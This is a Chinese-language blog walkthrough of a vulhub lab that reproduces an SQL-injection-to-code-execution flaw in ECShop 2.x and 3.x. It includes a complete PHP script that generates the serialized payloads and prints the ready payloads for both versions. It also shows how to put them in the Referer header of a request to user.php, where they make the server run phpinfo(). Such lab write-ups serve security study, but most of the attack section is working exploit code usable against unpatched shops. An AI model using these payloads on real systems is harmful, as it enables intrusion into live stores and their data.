博主介绍
博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
点赞➕评论➕收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!
xianzhi-2017-02-82239600
ECShop 2.x
ECShop 3.x
ECShop是一个B2C独立商店系统,供公司和个人快速建立个性化的在线商店。该系统是基于PHP语言和MYSQL数据库体系结构的跨平台开源程序。在2017年及之前的版本中,存在一个SQL注入漏洞,该漏洞可能会注入有效载荷并最终导致代码执行漏洞。最新版本的3.6.0已修复此漏洞,vulhub使用其最新版本2.7.3和3.6.0非最新版本来重现该漏洞
"match": "title_contains",
"content": "powered by ecshop"
"match": "header_contains",
"content": "ecs_id"
"match": "body_contains",
"content": "content=\"ecshop"
cd vulhub/ecshop/xianzhi-2017-02-82239600
docker-compose up -d
docker-compose ps
cat README.md
分别访问8080端口和8081端口
启动环境后,访问http://your-ip:8080,可以看到2.7.3版本安装页面。
访问http://your-ip:8081,可以看到3.6.0版本安装页面。
http://192.168.13.131:8080/
http://192.168.13.131:8081/
两个环境全部安装,mysql地址为mysql,mysql帐户和密码为root,数据库名称可以自由填写,但是2.7.3和3.6.0的数据库名称不能相同。
http://192.168.13.131:8080/install/index.php?lang=zh_cn&step=setting_ui&ui=
http://192.168.13.131:8080/
http://192.168.13.131:8081/install/index.php?lang=zh_cn&step=setting_ui&ui=
http://192.168.13.131:8081/
上面降到了有个小坑,这里稍微解释一下
localhost需要改成mysql,我相信会有很多小伙伴会不细心,忘记修改这里
如果没有修改进行安装的话,连接不上数据库,会显示如下界面
docker-compose down
这个脚本可以生成2.x版本和3.x版本执行phpinfo的POC:
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
利用上面的 php 脚本文件生成POC
脚本内容,在文末也会给出下载链接
运行 php 脚本文件即可生成POC
php exp.php
得到两个POC,下面我们一一测试
POC for ECShop 2.x:
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
POC for ECShop 3.x:
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
点击登录进入user.php页面
http://192.168.13.131:8080/user.php
将抓到的包放入重放攻击模块,查看render,发现处于未登录状态
POC for ECShop 2.x:
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca
将上面这个POC放入Referer头中,进行重放攻击
发现系统执行了phpinfo() 并且返回了phpinfo文件
http://192.168.13.131:8080/user.php
点击登录进入user.php页面
http://192.168.13.131:8081/user.php
将抓到的包放入重放攻击模块,查看render,发现处于未登录状态
POC for ECShop 3.x:
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
将上面这个POC放入Referer头中,进行重放攻击
发现系统执行了phpinfo() 并且返回了phpinfo文件
修改刚刚抓到的包进行发送,浏览器访问看到phpinfo信息
http://192.168.13.131:8081/user.php
更新到最新版本